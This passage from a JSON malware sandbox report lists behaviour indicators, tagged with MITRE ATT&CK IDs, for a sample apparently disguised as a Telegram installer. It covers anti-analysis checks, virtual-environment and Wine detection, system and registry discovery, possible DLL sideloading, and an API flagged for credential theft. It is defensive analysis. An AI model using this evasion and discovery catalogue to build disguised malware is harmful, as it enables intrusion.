\"00000000-00001040.00000000.110716.755D0000.00000002.mdmp\")\n Found string \"System.Identity.QualifiedUserName\" (Source: \"00000000-00001040.00000000.110716.755D0000.00000002.mdmp\")\n Found string \"System.UserName\" (Source: \"00000000-00001040.00000000.110716.755D0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"CoreLogic.dll\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"genteert.dll\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"is-2BAEF.tmp\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"is-3R46B.tmp\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"_setup64.tmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"Telagrenn.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"Telagrenn.exe\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00007736-00000C2C-670285332\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"file/memory contains long string with (Indicator: \"AllocateAndInitializeSid\"; File: \"guig.dll\")\n file/memory contains long string with (Indicator: \"AllocateAndInitializeSid\"; File: \"_setup64.tmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"00000000-00007176.00000001.109201.00F01000.00000020.mdmp\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"Telagrenn.exe\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"EnumSystemLocalesW\" (Indicator: \"EnumSystemLocales\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"00000000-00007176.00000001.109201.00F01000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"00000000-00007176.00000001.109201.00F01000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00002316-00000C2C-717584196\")\n Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00003244-00000C2C-746014909\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in file \"Telagrenn.exe\"\n Found system information discovery API: \"GetSystemInfo\" in file \"Telagrenn.exe\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in file \"Telagrenn.exe\"\n Found system information discovery API: \"WTSRegisterSessionNotification\" in file \"Telagrenn.exe\"\n Found system information discovery API: \"GetMonitorInfoW\" in file \"Telagrenn.exe\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; File: \"00000000-00007176.00000001.109201.00F01000.00000020.mdmp\")\n Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetKeyboardLayoutList\" (Indicator: \"GetKeyboardLayoutList\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetKeyboardLayoutNameW\" (Indicator: \"GetKeyboardLayout\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"file/memory contains long string with (Indicator: \"sendmessage\"; File: \"guig.dll\")\n Found reference to API \"SendMessageA\" (Indicator: \"sendmessage\"; File: \"Telagrenn.exe\")\n Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; File: \"Telagrenn.exe\")\n Found reference to API \"SendMessageTimeoutW\" (Indicator: \"sendmessage\"; File: \"Telagrenn.exe\")\n Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; File: \"Telagrenn.exe\")\n Found reference to API \"FindWindowW\" (Indicator: \"findwindow\"; File: \"Telagrenn.exe\")\n Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; File: \"Telagrenn.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"findwindow\"; File: \"Telagrenn.exe\")\n Found reference to API \"EnumChildWindows\" (Indicator: \"enumchildwindows\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"Telagrenn.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00002804)\n \"cscript.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006908)\n \"tsetup-x64.7.0.2.tmp\" called \"GetTickCount\" with parameters (UID: 00000000-00007736)\n \"D5rra.tmp\" called \"GetTickCount\" with parameters (UID: 00000000-00002688)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"Telagrenn.exe\" called \"Process32FirstW\" with parameters (UID: 00000000-00002804)\n \"Telagrenn.exe\" called \"Process32NextW\" with parameters (UID: 00000000-00002804)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"Telagrenn.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00002804)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"tsetup-x64.7.0.2.tmp\" called \"GetForegroundWindow\" (UID: 00000000-00007736)\n \"Telegram.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002316)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"$2f","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"$30","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"tsetup-x64.7.0.2.tmp\" called \"GetActiveWindow\" (UID: 00000000-00007736)\n \"D5rra.tmp\" called \"GetActiveWindow\" (UID: 00000000-00002688)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"Telagrenn.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002804)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$32","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"Telagrenn.exe\" called \"GetLocaleInfoA\" with parameter \"1024\" - (UID: 00000000-00002804)\n \"Telagrenn.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00002804)\n \"cscript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006908)\n \"cscript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00006908)\n \"tsetup-x64.7.0.2.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00007176)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: guig.dll]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: D5rra.tmp]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: is-7JH8E.tmp]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains a Wine emulator-related string","description":"\"wine_get_version\" (Indicator: \"wine_get_version\"; File: \"00000000-00007176.00000001.109201.00F01000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":5,"id":"string-62","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00006424-18661-246-000938E0\n GetTickCount@KERNEL32.DLL at 00000000-00006424-18661-2069-0009F914","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileW@KERNEL32.DLL at 00000000-00006424-18661-108-00093790\n FindFirstFileW@KERNEL32.DLL at 00000000-00006424-18661-148-0009BDF8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerates all mounted drives","description":"GetDriveTypeW@KERNEL32.DLL at 00000000-00006424-18661-3790-00135A1C\n GetDriveTypeW@KERNEL32.DLL at 00000000-00006424-18661-3792-0009F7F4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-66","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; File: \"Telagrenn.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.DLL at 00000000-00006424-18661-715-0009F834","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.DLL at 00000000-00006424-18661-3-000938D0\n GetVersion@KERNEL32.DLL at 00000000-00006424-18661-15-0009B718\n GetVersionExW@KERNEL32.DLL at 00000000-00006424-18661-3827-0013C228\n GetVersionExW@KERNEL32.DLL at 00000000-00006424-18661-3829-0009F924","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.DLL at 00000000-00006424-18661-114-00093858\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00006424-18661-2793-0009F83C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceW@KERNEL32.DLL at 00000000-00006424-18661-2260-0009F7EC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.001","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$33","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"Telagrenn.exe\")\n Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; File: \"Telagrenn.exe\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetSystemInfo@KERNEL32.DLL at 00000000-00006424-18661-14-000938D8\n GetSystemInfo@KERNEL32.DLL at 00000000-00006424-18661-1421-0009F8FC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"EnumWindows\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; File: \"Telagrenn.exe\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindow\"; File: \"Telagrenn.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindow\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language","description":"GetUserDefaultUILanguage@KERNEL32.DLL at 00000000-00006424-18661-115-00093860\n GetSystemDefaultUILanguage@KERNEL32.DLL at 00000000-00006424-18661-118-0009BCB0\n GetSystemDefaultUILanguage@KERNEL32.DLL at 00000000-00006424-18661-130-00093868\n GetUserDefaultLangID@KERNEL32.DLL at 00000000-00006424-18661-3809-0009F91C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614.001","relevance":3,"id":"stream-79","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersion\" (Indicator: \"GetVersion\"; File: \"Telagrenn.exe\")\n Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; File: \"Telagrenn.exe\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.DLL at 00000000-00006424-18661-22-00095568\n GetProcessHeap@KERNEL32.DLL at 00000000-00006424-18661-24-00093940\n OpenProcessToken@ADVAPI32.DLL at 00000000-00006424-18661-3753-001311B0\n OpenProcessToken@ADVAPI32.DLL at 00000000-00006424-18661-3755-0013129C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains reference to Borland Delphi related registry entry","description":"\"Software\\Borland\\Delphi\\Locales\" (Indicator: \"\\borland\\delphi\\locales\") in Source: 7698-155-00F0D73C","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-324","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp byte ptr [00144C10h], 00h\" and \"je 0009B796h\" at 00000000-00006424-18661-15-0009B718","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: %TEMP%\\GENTEERT.DLL\n %TEMP%\\IS-CAG3H.TMP\\CORELOGIC.DLL\n %TEMP%\\GENTEE2B\\GUIG.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$34","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Queries for Borland Delphi related registry entry","description":"\"tsetup-x64.7.0.2.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")\n \"tsetup-x64.7.0.2.tmp\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")\n \"D5rra.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")\n \"D5rra.tmp\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-138","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$35","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"Telagrenn.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"cscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"tsetup-x64.7.0.2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"tsetup-x64.7.0.2.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Telegram.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"D5rra.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"D5rra.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"System.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"cscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"Telegram.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"System.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"tsetup-x64.7.0.2.tmp\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1\")\n \"tsetup-x64.7.0.2.tmp\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\TSETUP-X64.7.0.2.TMP\")\n \"tsetup-x64.7.0.2.tmp\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1\")\n \"tsetup-x64.7.0.2.tmp\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1\")\n \"tsetup-x64.7.0.2.tmp\" (Path: \"HKCU\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1\")\n \"Telegram.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\TELEGRAM.EXE\")\n \"D5rra.tmp\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\CLOUDFLARED WRAPPER INSTALLER_IS1\")","origin":"Registry 